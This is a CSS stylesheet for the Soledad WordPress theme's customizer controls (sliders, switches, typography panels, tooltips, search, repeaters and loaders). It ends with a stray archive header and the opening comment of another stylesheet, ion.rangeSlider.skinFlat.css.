.customize-control-soledad-fw-gradient .soledad-fw-slider-reset span,
.customize-control-soledad-fw-slider .soledad-fw-slider-reset span {
	font-size: 16px;
	line-height: 30px;
}
.customize-control-soledad-fw-gradient .soledad-fw-slider-reset:hover,
.customize-control-soledad-fw-slider .soledad-fw-slider-reset:hover {
	color: red;
}
.customize-control-soledad-fw-sortable ul.ui-sortable li {
	padding: 5px 10px;
	border: 1px solid #333;
	background: #fff;
}
.customize-control-soledad-fw-sortable ul.ui-sortable li .dashicons.dashicons-menu {
	float: right;
}
.customize-control-soledad-fw-sortable ul.ui-sortable li .dashicons.visibility {
	margin-right: 10px;
}
.customize-control-soledad-fw-sortable ul.ui-sortable li.invisible {
	color: #aaa;
	border: 1px dashed #aaa;
}
.customize-control-soledad-fw-sortable ul.ui-sortable li.invisible .dashicons.visibility {
	color: #aaa;
}
.customize-control-soledad-fw-spacing .wrapper {
	margin-top: 10px;
	padding: 14px;
	border: 1px solid #ddd;
}
.customize-control-soledad-fw-spacing .wrapper .control {
	display: flex;
	flex-wrap: wrap;
	justify-content: space-between;
}
.customize-control-soledad-fw-spacing .wrapper .control > div {
	width: 47%;
}
.customize-control-soledad-fw-spacing .control > .top, .customize-control-soledad-fw-spacing .control > .bottom {
	margin-bottom: 10px;
}
.customize-control-soledad-fw-spacing .wrapper .control > div h5 {
	margin: 0 0 5px;
}
.customize-control-soledad-fw-spacing .wrapper .control > div .inner {
	display: flex;
}
.customize-control-soledad-fw-spacing .wrapper .control > div .inner input[type="number"] {
	width: 50%;
	height: 36px;
}
.customize-control-soledad-fw-spacing .wrapper .control > div .inner .selectize-control.single {
	width: 50%;
}
.customize-control-soledad-fw-spacing .wrapper .control > div .inner .selectize-control.single > .selectize-input {
	height: 36px;
}
.customize-control-soledad-fw-spacing .wrapper .input-wrapper .invalid-value {
	display: none;
	background: #D32F2F;
	font-size: 0.85em;
	color: #fff;
	float: left;
	padding: 2px 0;
	border-radius: 3px;
}
.customize-control-soledad-fw-spacing .wrapper .input-wrapper.invalid .invalid-value {
	display: block;
	width: 98%;
	text-align: center;
}
.customize-control-soledad-fw-spacing .wrapper .input-wrapper.invalid input[type="text"]:focus {
	border-color: #D32F2F;
}
.customize-control-soledad-fw-switch input[type="checkbox"] {
	display: none;
}
.customize-control-soledad-fw-switch .switch {
	border: none;
	margin-bottom: 1.5rem;
	outline: 0;
	padding: 0;
	position: relative;
	-webkit-user-select: none;
	-moz-user-select: none;
	-ms-user-select: none;
	user-select: none;
}
.customize-control-soledad-fw-switch .switch label {
	background: rgba(0, 0, 0, 0.2);
	color: transparent;
	cursor: pointer;
	display: block;
	margin-bottom: 1rem;
	position: relative;
	transition: left 0.15s ease-out;
	height: 2rem;
	width: 4rem;
	font-family: Monaco, "Lucida Sans Typewriter", "Lucida Typewriter", "Courier New", Courier, monospace;
}
.customize-control-soledad-fw-switch .switch label:after {
	background: #FFFFFF;
	content: "";
	display: block;
	height: 1.5rem;
	left: 0.25rem;
	position: absolute;
	top: 0.25rem;
	width: 1.5rem;
	-webkit-transition: all 0.25s ease-in-out;
	-moz-transition: all 0.25s ease-in-out;
	-ms-transition: all 0.25s ease-in-out;
	-o-transition: all 0.25s ease-in-out;
	transition: all 0.25s ease-in-out;
}
.customize-control-soledad-fw-switch .switch input {
	left: 10px;
	opacity: 0;
	padding: 0;
	position: absolute;
	top: 9px;
}
.customize-control-soledad-fw-switch .switch input + label {
	margin-left: 0;
	margin-right: 0;
}
.customize-control-soledad-fw-switch .switch input:checked + label {
	background: #3498DB;
}
.customize-control-soledad-fw-switch .switch input:checked + label:after {
	left: 2.25rem;
	background: #ffffff;
}
.customize-control-soledad-fw-switch .switch.round {
	border-radius: 1000px;
}
.customize-control-soledad-fw-switch .switch.round label {
	border-radius: 2rem;
}
.customize-control-soledad-fw-switch .switch.round label:after {
	border-radius: 2rem;
}
.customize-control-soledad-fw-switch .switch-off,
.customize-control-soledad-fw-switch .switch-on {
	line-height: 32px;
	font-weight: bold;
	padding: 0 10px;
}
.customize-control-soledad-fw-switch .switch-on {
	color: #fff;
	padding-right: 5px;
}
.customize-control-soledad-fw-switch .switch-off {
	color: #777;
	padding-left: 5px;
}
.customize-control-soledad-fw-generic textarea {
	width: 100%;
	border: 1px solid rgba(0, 0, 0, 0.1);
	-webkit-box-shadow: none;
	box-shadow: none;
}
.customize-control-soledad-fw-toggle label {
	display: flex;
	flex-wrap: wrap;
}
.customize-control-soledad-fw-toggle label .customize-control-title {
	width: calc(100% - 55px);
	padding-right: 10px;
}
.customize-control-soledad-fw-toggle label .description {
	order: 99;
}
.customize-control-soledad-fw-toggle input[type="checkbox"] {
	display: none;
}
.customize-control-soledad-fw-toggle .switch {
	border: 1px solid rgba(0, 0, 0, 0.1);
	margin-top: 8px;
	display: inline-block;
	width: 35px;
	height: 10px;
	border-radius: 8px;
	background: #ebebeb;
	vertical-align: middle;
	position: relative;
	cursor: pointer;
	user-select: none;
	transition: background 350ms ease;
}
.customize-control-soledad-fw-toggle .switch:after {
	content: "";
	display: block;
	width: 16px;
	height: 16px;
	border-radius: 50%;
	position: absolute;
	top: 50%;
	left: -1px;
	transition: all 350ms cubic-bezier(0, 0.95, 0.38, 0.98), background 150ms ease;
}
.customize-control-soledad-fw-toggle .switch:after {
	background: #ccc;
	border: 1px solid rgba(0, 0, 0, 0.1);
	transform: translate3d(0, -50%, 0);
}
.customize-control-soledad-fw-toggle input:checked + .switch {
	background: #d4e4ff;
}
.customize-control-soledad-fw-toggle input:checked + .switch:after {
	background: #0f69ff;
	transform: translate3d(100%, -50%, 0);
}
.customize-control-soledad-fw-typography .wrapper,
.customize-control-soledad-fw-gradient .wrapper {
	margin-top: 10px;
	padding: 14px;
	border: 1px solid #ddd;
	display: flex;
	flex-wrap: wrap;
	justify-content: space-between;
}
.customize-control-soledad-fw-typography .wrapper .color,
.customize-control-soledad-fw-typography .wrapper .font-family,
.customize-control-soledad-fw-typography .wrapper .font-size,
.customize-control-soledad-fw-typography .wrapper .letter-spacing,
.customize-control-soledad-fw-typography .wrapper .line-height,
.customize-control-soledad-fw-typography .wrapper .subsets,
.customize-control-soledad-fw-typography .wrapper .text-transform,
.customize-control-soledad-fw-typography .wrapper .variant,
.customize-control-soledad-fw-gradient .wrapper .color,
.customize-control-soledad-fw-gradient .wrapper .range {
	width: 100%;
	float: none;
	clear: both;
}
.customize-control-soledad-fw-typography .wrapper .font-family h5 {
	margin: 0 0 5px;
}
.customize-control-soledad-fw-typography .wrapper .color h5,
.customize-control-soledad-fw-typography .wrapper .font-size h5,
.customize-control-soledad-fw-typography .wrapper .letter-spacing h5,
.customize-control-soledad-fw-typography .wrapper .line-height h5,
.customize-control-soledad-fw-typography .wrapper .subsets h5,
.customize-control-soledad-fw-typography .wrapper .text-transform h5,
.customize-control-soledad-fw-typography .wrapper .variant h5,
.customize-control-soledad-fw-gradient .wrapper h5 {
	margin: 10px 0 5px;
}
.customize-control-soledad-fw-typography .wrapper .font-size,
.customize-control-soledad-fw-typography .wrapper .letter-spacing,
.customize-control-soledad-fw-typography .wrapper .line-height {
	width: 47%;
}
.customize-control-soledad-fw-typography .wrapper .text-align {
	width: 100%;
}
.customize-control-soledad-fw-typography .wrapper .text-align .dashicons {
	padding: 3px;
	font-size: 25px;
	width: 25px;
	height: 25px;
	border: 1px solid transparent;
}
.customize-control-soledad-fw-typography .wrapper .text-align input {
	display: none;
}
.customize-control-soledad-fw-typography .wrapper .text-align input:checked + label .dashicons {
	border: 1px solid #3498DB;
	color: #000;
}
.customize-control-soledad-fw-typography .wrapper .text-transform {
	padding-top: 10px;
}
.customize-control-soledad-fw-typography .wrapper .color {
	width: 100%;
}
.hint,
[data-hint] {
	position: relative;
	display: inline-block;
}
.hint:before,
.hint:after,
[data-hint]:before,
[data-hint]:after {
	position: absolute;
	-webkit-transform: translate3d(0, 0, 0);
	-moz-transform: translate3d(0, 0, 0);
	transform: translate3d(0, 0, 0);
	visibility: hidden;
	opacity: 0;
	z-index: 998;
	pointer-events: none;
	transition: 0.3s ease;
	transition-delay: 250ms;
}
.hint:hover:before,
.hint:hover:after,
.hint:focus:before,
.hint:focus:after,
[data-hint]:hover:before,
[data-hint]:hover:after,
[data-hint]:focus:before,
[data-hint]:focus:after {
	visibility: visible;
	opacity: 1;
}
.hint:hover:before,
.hint:hover:after,
[data-hint]:hover:before,
[data-hint]:hover:after {
	transition-delay: 0;
}
.hint:before,
[data-hint]:before {
	content: '';
	position: absolute;
	background: transparent;
	border: none;
	z-index: 999;
	width: 0;
	height: 0;
	border-top: 5px solid transparent;
	border-bottom: 5px solid transparent;
	border-left: 5px solid #333;
	left: -5px;
	top: 5px;
}
.hint:after,
[data-hint]:after {
	content: attr(data-hint);
	background: #333;
	color: white;
	padding: 5px 10px;
	font-size: 12px;
	line-height: 14px;
	height: auto;
	margin-bottom: -14px;
	width: 170px;
	max-width: 170px;
	display: block;
	white-space: normal;
	text-align: right;
	position: relative;
	top: -22px;
	left: -195px;
}
li.customize-control {
	position: relative;
}
li.customize-control a.tooltip.hint--left {
	display: block;
	position: absolute;
	top: 5px;
	right: -10px;
	border-radius: 50%;
	color: #999;
	border: none;
	line-height: 8px;
	width: 20px;
	height: 20px;
	z-index: 10;
}
.rtl li.customize-control a.tooltip.hint--left {
	right: auto;
	left: 0;
}
.rtl .hint:before,
.rtl [data-hint]:before {
	left: 20px;
	border-left: none;
	border-right: 5px solid #333;
}
.rtl .hint:after,
.rtl [data-hint]:after {
	left: 195px;
}
.customize-control-soledad-fw-select .select2-container {
	display: block;
}
.wp-customizer .select2-dropdown {
	z-index: 99999999;
}
.wp-customizer .select2-container--default .select2-selection--multiple {
	border-radius: 0;
}
.wp-customizer .select2-container--default .select2-selection--multiple .select2-selection__choice {
	padding: 0 5px;
	border-radius: 0;
	background-color: #3498DB;
	border: 1px solid #006f8d;
	color: #fff;
}
.wp-customizer .select2-container--default .select2-selection--multiple .select2-selection__choice__remove {
	color: #fff;
}
.wp-customizer .select2-container--default.select2-container--focus .select2-selection--multiple {
	border: solid 1px #006f8d;
	outline: 0;
}
.wp-customizer .select2-results__option {
	margin-bottom: 0;
}
.wp-customizer .select2-container--default .select2-selection--single {
	border-radius: 0;
}
.control-section-lazy .customize-control,
.control-section-default .customize-control,
.control-panel-default .customize-control {
	width: 100%;
	float: left;
	clear: both;
	margin-bottom: 0;
	margin-left: -15px;
	margin-right: -15px;
	padding: 10px 15px 20px 15px;
	background: #fff;
	border-bottom: 1px solid #ddd;
}
.customize-control.customize-control-soledad-fw-alert {
	padding: 0;
	margin: 0;
	background: transparent;
}
.customize-control .thumbnail-image {
	text-align: center;
}
#customize-controls img {
	max-width: 100%;
	width: auto;
}
.customize-lazy-section-loading {
	position: absolute;
	top: 0;
	bottom: 0;
	right: 0;
	left: 0;
	background: #eee;
	z-index: 5;
}
/** customize link section **/
.control-section-link .accordion-section-title {
	background-color: #3498DB !important;
	border-left-color: #006f8d;
	color: #fff !important;
	padding: 0
}
.control-section-link .accordion-section-title a {
	color: #fff;
	display: block;
	padding: 10px 10px 11px 14px;
	text-decoration: none
}
.control-section-link .accordion-section-title a:hover {
	background-color: #3498DB !important
}
.control-section-link .accordion-section-title:after {
	color: #fff !important
}
.control-section-link h3 a:after {
	color: #fff
}
/** customizer search **/
#customize-header-actions {
	position: relative;
}
.customizer-search-wrapper {
	background: #eee;
	z-index: 9;
	position: relative;
	padding: 15px;
	z-index: 9;
}
.customizer-search-wrapper .customizer-search-toggle {
	text-decoration: none;
	line-height: 30px;
	width: 45px;
	text-align: center;
	position: absolute;
	z-index: 10;
	outline: none;
	right: 10px;
	display: none;
}
.customizer-search-wrapper.active .customizer-search-toggle {
	display: block;
}
.customizer-search-result-wrapper .search-no-result {
	padding: 30px;
	text-align: center;
	font-size: 17px;
}
.customizer-search-result-wrapper .search-no-result p {
	font-size: inherit;
	line-height: 1.2;
}
.pccsz-help-buttons {
	display: flex;
	flex-direction: column;
	row-gap: 10px;
	margin-top: 60px;
	letter-spacing: -0.025rem;
}
.pccsz-help-buttons a {
	font-size: 13px;
	padding: 10px;
	background: #2e81ec;
	color: #fff;
	border-radius: 5px;
	font-weight: bold;
}
.pccsz-help-buttons a:last-child {
	background: #ff331e;
}
.customizer-search-wrapper .customizer-search-toggle:focus {
	box-shadow: none;
}
.customizer-search-wrapper .customizer-form-search input {
	width: 100%;
}
.customizer-search-result {
	position: absolute;
	top: 105px;
	width: 100%;
	left: 0;
	background: #fff;
	display: none;
	overflow: auto;
	z-index: 9;
}
.customizer-search-result ul {
	padding: 0;
	margin: 0;
}
.customizer-search-result li {
	padding: 15px 20px 15px;
	border-bottom: 1px solid #d8d8d8;
	margin: 0;
	line-height: normal;
	cursor: pointer;
}
.customizer-search-result li:hover {
	background: #eaeaea;
}
.customizer-search-result h3 {
	margin: 0;
	padding: 0;
	line-height: 1.5em;
}
.customizer-search-result span {
	font-size: 11px;
	display: block;
	margin-bottom: 2px;
}
.customizer-search-result em {
	margin-top: 1px;
	display: block;
	clear: both;
	font-size: 12px;
	font-style: normal;
}
.customizer-search-overlay {
	position: absolute;
	background: rgba(255, 255, 255, 0.8);
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 5;
	display: none;
}
.customizer-search-wrapper.active .customizer-form-search,
.customizer-search-result.active,
.customizer-search-overlay.active {
	display: block;
}
li.customize-control.customize-control-soledad-fw-header {
	background: #0f69ff;
	padding: 0 12px;
	margin: 15px -12px 0;
}
li.customize-control.customize-control-soledad-fw-header:nth-child(2) {
	margin-top: 0
}
h2.customize-control-title {
	font-size: 15px;
	color: #fff;
	font-weight: 400;
	margin: 0;
	padding: 8px 0;
}
#customize-controls .customize-control-soledad-fw-header .description {
	width: calc(100% - 32px);
	color: #eee;
}
#customize-controls .customize-control-soledad-fw-header .description a {
	color: #fff;
}
.customize-alert {
	width: 100%;
	float: left;
	clear: both;
	color: #5b5b5b;
	background-color: #ffffe8;
	border: 0;
	border-radius: 0;
	padding: 6px 12px;
	box-sizing: border-box;
	margin: 0 0 15px;
	font-size: 13px;
}
.customize-alert strong {
	font-size: 13px;
	font-weight: normal;
	line-height: 1.5;
}
.customize-alert.customize-alert-warning {
	color: #8a6d3b;
	background-color: #fcf8e3;
	border-color: #faebcc;
}
.customize-alert.customize-alert-success {
	color: #3c763d;
	background-color: #dff0d8;
	border-color: #d6e9c6;
}
.customize-alert.customize-alert-info {
	color: #31708f;
	background-color: #d9edf7;
	border-color: #bce8f1;
	margin-top: 15px;
}
.customize-alert.customize-alert-danger {
	color: #d21616;
	background-color: #ffe7e7;
	border-color: #d21616;
}
.customize-control-title {
	font-weight: 600;
}
.customize-control-soledad-fw-header:after {
	font-family: dashicons;
	content: "\f460";
	position: absolute;
	top: 0;
	bottom: 0;
	right: 0;
	font-size: 14px;
	width: 40px;
	cursor: pointer;
	vertical-align: middle;
	font-weight: normal;
	text-align: center;
	color: #fff;
	border-radius: 1px;
	padding: 0;
	background: rgba(255, 255, 255, 0.1);
	display: -moz-flex;
	display: -ms-flex;
	display: flex;
	align-items: center;
	justify-content: center;
}
.customize-control-soledad-fw-header {
	cursor: pointer;
}
.customize-control-soledad-fw-header.collapsed:after {
	content: "\f132";
}
.customizer-collapsed {
	display: none !important;
}
#customize-controls .description {
	color: #777;
	font-style: normal;
	font-size: 13px;
	font-weight: 400;
	word-wrap: break-word;
	line-height: 1.7em;
	margin-bottom: 10px;
}
.customize-control.first_child,
#customize-control-soledad_fw_single_post_date_format_custom {
	width: calc(100% - 18px);
	border-left: 20px solid rgba(0, 0, 0, 0.11);
	padding-left: 10px;
}
.customize-control-description ul {
}
.customize-control-description ul li {
	list-style-type: initial;
	margin-left: 20px;
}
.panel-customize-alert {
	display: block !important;
	float: none;
	margin: 20px;
	width: auto;
}
.panel-customize-alert.customize-alert .customize-control-title {
	font-size: 15px;
	margin-bottom: 10px;
	font-weight: bold;
}
#customize-controls .panel-customize-alert .description {
	color: #6e6161;
	font-style: normal;
	font-size: 13px;
	font-weight: 400;
	word-wrap: break-word;
}
.span-center {
	text-align: right;
	width: 100%;
	display: block;
	margin-top: 20px;
}
.customize-control .attachment-media-view {
	background: transparent;
}
/* Custom style */
#input_soledad_fw_single_blog_template img,
#input_soledad_fw_single_blog_layout img {
	width: 110px;
}
#accordion-panel-soledad_fw_disable_panel {
	display: block !important;
}
.soledad-fw-customizer-disable {
	position: relative;
	z-index: 999999;
	display: none;
}
.soledad-fw-customizer-overlay {
	-webkit-backface-visibility: hidden;
	position: fixed;
	background: rgba(0, 0, 0, 0.8);
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
}
.soledad-fw-customizer-disable-content {
	position: fixed;
	width: 400px;
	background: rgba(255, 255, 255, 0.2);
	left: 50%;
	margin-left: -205px;
	top: 50%;
	border-radius: 3px;
	padding: 10px;
	margin-top: -200px;
}
.soledad-fw-customizer-disable-content h2 {
	background: #fff;
	margin: 0;
	padding: 14px 12px;
	border-radius: 4px;
}
.soledad-fw-customizer-disable-content .soledad-fw-customizer-container {
	border-radius: 4px;
	background: #fff;
	margin-top: 10px;
	padding: 10px;
}
.soledad-fw-customizer-disable-content .soledad-fw-customizer-button {
	border: none;
	background: #f70d28;
	color: #fff;
	padding: 0 20px;
	line-height: 40px;
	height: 40px;
	display: inline-block;
	cursor: pointer;
	text-transform: uppercase;
	font-size: 12px;
	font-weight: bold;
	letter-spacing: 1px;
	outline: 0;
	-webkit-appearance: none;
	-webkit-transition: .3s ease;
	transition: .3s ease;
	width: 194px;
	margin-top: 10px;
	border-radius: 3px;
	float: left;
}
.soledad-fw-customizer-disable-content .soledad-fw-customizer-button.soledad-fw-customizer-cancel {
	margin-left: 8px;
	background: #fff;
	color: #000;
}
.soledad-fw-customizer-content-overlay {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	background: rgba(0, 0, 0, 0.6);
	display: none;
}
.soledad-fw-customizer-content-overlay i {
	left: 50%;
	position: relative;
	margin-left: -30px;
	z-index: 2;
	color: #fff;
	top: 50%;
	margin-top: -30px;
}
.customize-control-soledad-fw-textarea textarea {
	width: 100%;
}
/*attachable customizer*/
.soledad-fw-btn-header-builder,
.soledad-fw-btn-attach {
	position: absolute;
	top: 0;
	right: 45px;
	width: 45px;
	height: 45px;
	padding: 0 2px 0 0;
	background: #eee;
	border: none;
	border-left: 1px solid #ddd;
	cursor: pointer;
	-webkit-transition: color .1s ease-in-out, background .1s ease-in-out;
	transition: color .1s ease-in-out, background .1s ease-in-out;
	-webkit-box-sizing: content-box;
	-moz-box-sizing: content-box;
	box-sizing: content-box;
	text-align: center;
}
.soledad-fw-btn-header-builder i,
.soledad-fw-btn-attach i {
	font-size: 16px;
}
.wp-full-overlay.attached {
	margin-left: 0 !important;
}
.attached .wp-full-overlay-footer,
.wp-core-ui .wp-full-overlay.attached .collapse-sidebar {
	position: absolute;
}
.attached #customize-controls {
	border: none;
	box-shadow: -1px 2px 10px 0px rgba(0, 0, 0, 0.15), 0 0 0 1px rgba(0, 0, 0, 0.05);
	-webkit-box-shadow: -1px 2px 10px 0px rgba(0, 0, 0, 0.15), 0 0 0 1px rgba(0, 0, 0, 0.05);
}
.attached .collapse-sidebar {
	display: none;
	visibility: hidden;
}
#customize-header-actions {
	padding-left: 0;
}
.attached .ui-resizable-s {
	cursor: ns-resize;
	height: 30px;
	width: 100%;
	bottom: -20px;
	left: 0;
}
.attached .ui-resizable-handle {
	position: absolute;
	font-size: 0.1px;
	display: block;
	-ms-touch-action: none;
	touch-action: none;
}
.soledad-fw-btn-attach,
.customizer-search-wrapper .customizer-search-toggle {
	color: #444;
	-webkit-transition: .15s ease-in-out;
	-moz-transition: .15s ease-in-out;
	-o-transition: .15s ease-in-out;
	transition: .15s ease-in-out;
	font-size: 14px;
}
.soledad-fw-btn-attach:hover,
.customizer-search-wrapper .customizer-search-toggle:hover {
	color: #0085ba;
}
.wp-full-overlay.attached,
.wp-full-overlay.attached .collapse-sidebar,
.wp-full-overlay.attached .wp-full-overlay-main,
.wp-full-overlay.attached .wp-full-overlay-sidebar {
	-webkit-transition: none !important;
	-moz-transition: none !important;
	-o-transition: none !important;
	transition: none !important;
}
.customize-section-description-container + #customize-control-custom_css:last-child {
	width: 100%;
}
/* #customize-controls .customize-info.is-sticky,
#customize-controls .customize-section-title.is-sticky {
  position: relative;
  top: auto;
}

#customize-controls .customize-section-title.is-in-view {
    top: 0 !important;
} */
/* repeater style */
.soledad-fw-repeater-wrapper {
	padding: 15px;
	border: 1px solid #e0e0e0;
}
.soledad-fw-repeater-wrapper .repeater-fields {
	margin: 0;
}
.soledad-fw-repeater-wrapper .repeater-row {
	border: 1px solid #e0e0e0;
	margin-bottom: 10px;
	position: relative;
}
.soledad-fw-repeater-wrapper .repeater-row.minimized {
	background: #f5f5f5;
	padding: 0;
}
.soledad-fw-repeater-wrapper .repeater-row-header {
	border-bottom: 1px solid #e0e0e0;
	position: relative;
	padding: 10px 15px 10px 35px;
	height: auto;
	min-height: 20px;
	line-height: 30px;
	overflow: hidden;
	word-wrap: break-word;
}
.soledad-fw-repeater-wrapper .repeater-row-label {
	font-size: 13px;
	font-weight: 600;
	line-height: 20px;
	display: block;
	text-transform: capitalize;
	width: 90%;
	overflow: hidden;
	height: 18px;
}
.repeater-row-label:before {
	content: "\f047";
	font-family: 'FontAwesome', Helvetica, Arial, sans-serif;
	position: absolute;
	left: 0;
	width: 40px;
	text-align: center;
	font-weight: normal;
	margin-right: 0.5em;
	color: #aaa;
	font-size: 14px;
	text-rendering: optimizeLegibility;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.soledad-fw-repeater-wrapper .repeater-row-header .dashicons {
	font-size: 18px;
	position: absolute;
	right: 12px;
	top: 2px;
	color: #a0a5aa;
}
.soledad-fw-repeater-wrapper .repeater-minimize {
	line-height: 36px;
}
.soledad-fw-repeater-wrapper .repeater-row-content {
	padding: 12px 15px;
	display: none;
}
.soledad-fw-repeater-wrapper .repeater-field {
	padding: 8px 0;
	width: 100%;
	clear: both;
}
.soledad-fw-repeater-wrapper .repeater-fields .repeater-row .repeater-field.repeater-field- {
	display: none;
}
.soledad-fw-repeater-wrapper .repeater-fields .repeater-row label {
	margin-bottom: 12px;
	clear: both;
}
.soledad-fw-repeater-wrapper .repeater-field .customize-control-title {
	font-weight: 500;
	padding-bottom: 6px;
	display: block;
}
.soledad-fw-repeater-wrapper .repeater-field .customize-control-description {
	margin-top: 5px;
	clear: both;
	display: block;
	line-height: 20px;
	color: #888;
	font-style: normal;
	font-size: 12px;
	padding: 0;
}
.soledad-fw-repeater-wrapper input[type=text],
.soledad-fw-repeater-wrapper select {
	width: 100%;
}
.soledad-fw-repeater-wrapper .repeater-row-remove {
	color: #a00;
}
.soledad-fw-repeater-wrapper .repeater-add-wrapper {
	padding: 8px;
	text-align: center;
	border: 1px dashed #e0e0e0;
}
.soledad-fw-repeater-wrapper .repeater-add-wrapper .repeater-add {
	width: 100px;
}
@media only screen and (max-width: 640px) {
	.soledad-fw-btn-attach, .customizer-search-wrapper .customizer-search-toggle {
		display: none;
	}
	#customize-header-actions {
		padding-right: 0;
	}
	#customize-header-actions .button-primary {
		margin-right: 5px;
	}
}
.customize-control- eg-button .button.customize-control-title {
	display: block;
	text-align: center;
	margin: 11px 0;
}
.search-loader {
	background: #eee;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	position: absolute;
}
.search-loader .loader,
.control-section-lazy .loader {
	position: absolute;
	top: 50%;
	right: 50%;
	overflow: hidden;
	margin-right: -27px;
	margin-top: -27px;
}
.loader,
.loader:after {
	border-radius: 50%;
	width: 10em;
	height: 10em;
}
.loader {
	font-size: 5px;
	position: relative;
	text-indent: -9999em;
	border-top: 5px solid rgba(0, 0, 0, 0.15);
	border-right: 5px solid rgba(2, 2, 2, 0.15);
	border-bottom: 5px solid rgba(0, 0, 0, 0.15);
	border-left: 5px solid #000;
	-webkit-transform: translateZ(0);
	-ms-transform: translateZ(0);
	transform: translateZ(0);
	-webkit-animation: ifiniteload 0.7s infinite linear;
	animation: ifiniteload 0.7s infinite linear;
}
@-webkit-keyframes ifiniteload {
	0% {
		-webkit-transform: rotate(0deg);
		transform: rotate(0deg);
	}
	100% {
		-webkit-transform: rotate(360deg);
		transform: rotate(360deg);
	}
}
@keyframes ifiniteload {
	0% {
		-webkit-transform: rotate(0deg);
		transform: rotate(0deg);
	}
	100% {
		-webkit-transform: rotate(360deg);
		transform: rotate(360deg);
	}
}
.customize-control-soledad-fw-number .ui-spinner.ui-widget-content .ui-spinner-button span.ui-icon.ui-icon-triangle-1-s,
.customize-control-soledad-fw-number .ui-spinner.ui-widget-content .ui-spinner-button span.ui-icon.ui-icon-triangle-1-n {
	display: none;
}
.customize-control .box-model-wrapper span {
	display: block;
	margin: 0 0 10px;
}
.customize-control .box-model-wrapper .box-spacing-item,
.penci-pm-control .button-group {
	width: 23%;
	margin-right: 1%;
	display: inline-block;
}
.customize-control .box-model-wrapper .box-model + .box-model {
	margin-top: 15px;
}
.customize-control .box-model-wrapper .box-spacing-item:last-child {
	margin-right: 0;
}
.customize-control .box-model-wrapper .box-head {
	padding: 5px 10px;
	background: #444;
	color: #fff;
}
.penci-pm-control .button-group .label {
	font-size: 11px;
	display: block;
}
.customize-control-soledad-fw-size .penci-range-lable{
	font-size: 13px;
	font-weight: 600;
	color: #555d66;
	margin-bottom: 0;
	margin-top: 16px;
}
.customize-control-soledad-fw-size .pencidesign-range-slider {
	position: relative;
	width: calc(100% - 60px);
	height: 6px;
	background-color: rgba(0,0,0,.10);
	cursor: pointer;
	transition: background .5s;
}
.customize-control-soledad-fw-size .has-unit .pencidesign-range-slider {
	width: calc(100% - 90px);
}
.customize-control-soledad-fw-size .penci_range_value.hide-value {
	display: none;
}
.customize-control-soledad-fw-size .penci_range_value.hide-value + .pencidesign-range-slider {
	width: 100%;
}
.customize-control-soledad-fw-size .pencidesign-range-slider .ui-slider-handle {
	height: 16px;
	width: 16px;
	background-color: #2d9de6;
	display: inline-block;
	position: absolute;
	top: 50%;
	transform: translateY(-50%) translateX(-4px);
	border-radius: 50%;
	cursor: pointer;
}
.customize-control-soledad-fw-size .wrapper {
	display: flex;
	justify-content: space-between;
	align-items: center;
}
.customize-control-soledad-fw-size .penci_range_value {
	font-size: 14px;
	padding: 0;
	font-weight: 400;
	width: 52px;
	display: flex;
}
.customize-control-soledad-fw-size .has-unit .penci_range_value {
	width: 80px;
}
.customize-control-soledad-fw-size .penci_range_value span.value {
	font-size: 12px;
	width: calc(100% - 2px);
	text-align: center;
	min-height: 30px;
	background: #FFF;
	line-height: 30px;
	border: 1px solid #DDD;
}
.customize-control-soledad-fw-size .has-unit .penci_range_value span.value {
	width: calc(100% - 32px);
	display: block;
}
.customize-control-soledad-fw-size .penci_range_value .unit {
	width: 29px;
	text-align: center;
	font-size: 12px;
	line-height: 22px;
	background: #fff;
	border: 1px solid #ddd;
	margin-left: 1px;
	height: 24px;
}
.customize-control-soledad-fw-size .pencidesign-range-slider-reset span {
	font-size: 16px;
	line-height: 22px;
}
.customize-control-soledad-fw-size .penci_range_value input {
	font-size: 12px;
	padding: 0px;
	text-align: center;
	min-height: 24px;
	height: auto;
	border-radius: 0;
	border-color: #ddd;
}
.customize-control-soledad-fw-size .has-unit .penci_range_value input {
	width: calc(100% - 30px);
}
.customize-control-soledad-fw-size .penci-range-title-area .dashicons {
	cursor: pointer;
	font-size: 11px;
	width: 20px;
	height: 18px;
	line-height: 20px;
	color: #222;
	text-align: center;
	position: relative;
	top: 2px;
}
.customize-control-soledad-fw-size .penci-range-title-area .dashicons:hover {
	background: #fafafa;
}
.customize-control-soledad-fw-size .penci-range-title-area .dashicons.selected {
	background: #f1f1f1;
	color: #222;
}
.penci-range-title-area {
	display: flex;
}
.penci-range-slider-controls {
	margin-left: auto;
	margin-bottom: 4px;
}
.customize-control-soledad-fw-size .penci-device-controls > span:first-child:last-child {
	display: none;
}
.customize-control-soledad-fw-size .sub-description {
	display: block;
	font-style: italic;
	line-height: 1.4;
	margin: 2px 0 2px;
}
.customize-control-soledad-fw-size .pencidesign-range-inner{
	display: flex;
	align-items: center;
}
.customize-control-soledad-fw-size .penci-control-process{
	width: 80px;
	float: right;
}
.customize-control-soledad-fw-size .penci-range-lableparent{
	width: calc(100% - 82px);
	padding-right: 5px;
}
.customize-control-soledad-fw-size .penci-wider-width .penci-control-process{
	width: 53px;
	float: right;
}
.customize-control-soledad-fw-size .penci-wider-width .penci-range-lableparent{
	width: calc(100% - 55px);
	padding-right: 5px;
}
.customize-control-soledad-fw-hidden {
	display: none !important;
}
.customize-control-soledad-fw-radio.customize-control .customize-inside-control-row {
	margin-left: 0;
}
#customize-controls .customize-pane-child .customize-info .customize-panel-description {
	display: block;
	color: #444;
	margin-bottom: 0;
}
#customize-controls .customize-pane-child .customize-info .customize-panel-description a {
	text-decoration: underline;
}
button[data-type="penci_speed_delete_cache"]:before,
button[data-type="render_separate_css"]:before {
	font: normal 20px/.5 dashicons;
	speak: none;
	display: inline-block;
	padding: 0;
	top: 9px;
	left: -4px;
	position: relative;
	vertical-align: top;
	content: "\f463";
}
button[data-type="render_separate_css"].loading:before,
button[data-type="penci_speed_delete_cache"].loading:before {
	animation: rotation 1s infinite linear;
}
button[data-type="render_separate_css"].success:before,
button[data-type="penci_speed_delete_cache"].success:before {
	content: "\f147";
	color: #46b450;
}
PK     N\/5U8    @  inc/customizer/framework/assets/css/ion.rangeSlider.skinFlat.cssnu [        /* Ion.RangeSlider, Flat UI Skin
// css version 2.0.3
// © Denis Ineshin, 2014    https://github.com/IonDen
// ===================================================================================================================*/

